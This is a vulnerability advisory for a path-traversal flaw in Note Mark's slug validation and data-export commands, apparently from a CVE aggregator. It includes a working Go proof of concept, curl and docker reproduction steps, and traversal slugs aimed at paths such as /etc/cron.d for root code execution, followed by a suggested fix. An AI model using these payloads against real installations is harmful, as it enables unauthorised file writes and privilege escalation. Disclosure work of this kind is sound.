PT-2026-56842 · Go · Github.Com/Enchant97/Note-Mark/Backend
Publicado
2026-07-09
·
Atualizado
2026-07-09
·
CVE-2026-50553
CVSS v4.0
8.6
Alta
| Vetor | AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Summary
Note Mark validates book and note
slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.The data-export CLI commands (
note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added
filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.Vulnerable code
Slug input validation (
backend/db/types.go, v0.19.4):go
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateNote struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}huma applies the pattern UNANCHORED (
github.com/danielgtaylor/huma/v2@v2.37.3):go
// schema.go
if s.Pattern != "" {
s.patternRe = regexp.MustCompile(s.Pattern)go
// validate.go
if s.patternRe != nil {
if !s.patternRe.MatchString(str) {
res.Add(path, v, s.msgPattern)regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.Export sinks (
backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:go
// commandMigrateExportDataV1 / commandMigrateExportData
for , book := range user.Books {
bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw
for , note := range book.Notes {
noteDir := path.Join(bookDir, note.Slug) // note.Slug raw
if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
return err
}
f, err := os.Create(path.Join(noteDir, " index.md")) // escapes exportDirgo
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
log.Printf("disallowed asset filename found '%s', skipping
", asset.Name)
continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))Impact
A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing
slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.Attack scenario
- Attacker registers / uses any normal user account.
- Attacker
POST /api/books(or a note) withslug=../../../../../../etc/cron.d/x(passes the unanchored[a-z0-9-]+pattern). Stored verbatim. - Admin runs
note-mark migrate export-v1 --export-dir /data/backup(root). - Exporter does
path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")which yields/etc/cron.d/x, thenos.MkdirAllcreates it andos.Create(path.Join(noteDir, " index.md"))writes attacker-influenced content outside/data/backup.
Proof of concept
Self-contained Go reproducer pinning
huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.go
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"os"
"path"
"strings"
"github.com/danielgtaylor/huma/v2"
"github.com/danielgtaylor/huma/v2/adapters/humago"
)
// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
Body struct {
Slug string `json:"slug"`
}
}
func main() {
mux := http.NewServeMux()
api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
var stored string
huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
out := &CreateBookOutput{}
out.Body.Slug = in.Body.Slug
return out, nil
})
const traversalSlug = `../../../../../../tmp/nmpoc-escape`
body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
mux.ServeHTTP(rec, req)
fmt.Printf("[validation] slug=%q status=%d stored=%q
", traversalSlug, rec.Code, stored)
// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
negReq.Header.Set("Content-Type", "application/json")
negRec := httptest.NewRecorder()
mux.ServeHTTP(negRec, negReq)
fmt.Printf("[neg-control] slug="@@@@" status=%d (expect 422)
", negRec.Code)
// Export sink expression from backend/cli/migrate.go:187,191,203.
exportDir := "/tmp/nmpoc-exportroot"
= os.RemoveAll(exportDir)
= os.RemoveAll("/tmp/nmpoc-escape")
= os.MkdirAll(exportDir, 0o755)
bookDir := path.Join(exportDir, "victim", stored)
noteDir := path.Join(bookDir, "n")
= os.MkdirAll(noteDir, 0o755)
outPath := path.Join(noteDir, " index.md")
= os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT
"), 0o644)
escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
fmt.Printf("[export] joined=%q escapedExportDir=%v
", outPath, escaped)
if d, err := os.ReadFile("/tmp/nmpoc-escape/n/ index.md"); err == nil {
fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q
", strings.TrimSpace(string(d)))
}
}Verbatim output (
go run ., huma v2.37.3, go1.26.1):[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/ index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export
path.Join writes the note file outside the export root.End-to-end reproduction
Against the released image
ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):bash
# 1. start
docker run -d --name nm -p 8080:8080 -e JWT SECRET="$(openssl rand -base64 32)"
-e PUBLIC URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json'
-d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json'
-d '{"username":"attacker","password":"Attack3r!","grant type":"password"}'
| sed -n 's/.*Auth-Session-Token=([^;]*).*/1/p')
# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json'
-b "Auth-Session-Token=$TOKEN"
-d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
# response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).
Suggested fix
Apply
filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:go
bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
log.Printf("disallowed slug found, skipping book=%q note=%q
", book.Slug, note.Slug)
continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex
pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.Affected versions
<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).Fix PR
A fix is prepared on the temporary private advisory fork:
enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.Credit
Reported by tonghuaroot.
Correção
RCE
Path traversal
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Github.Com/Enchant97/Note-Mark/Backend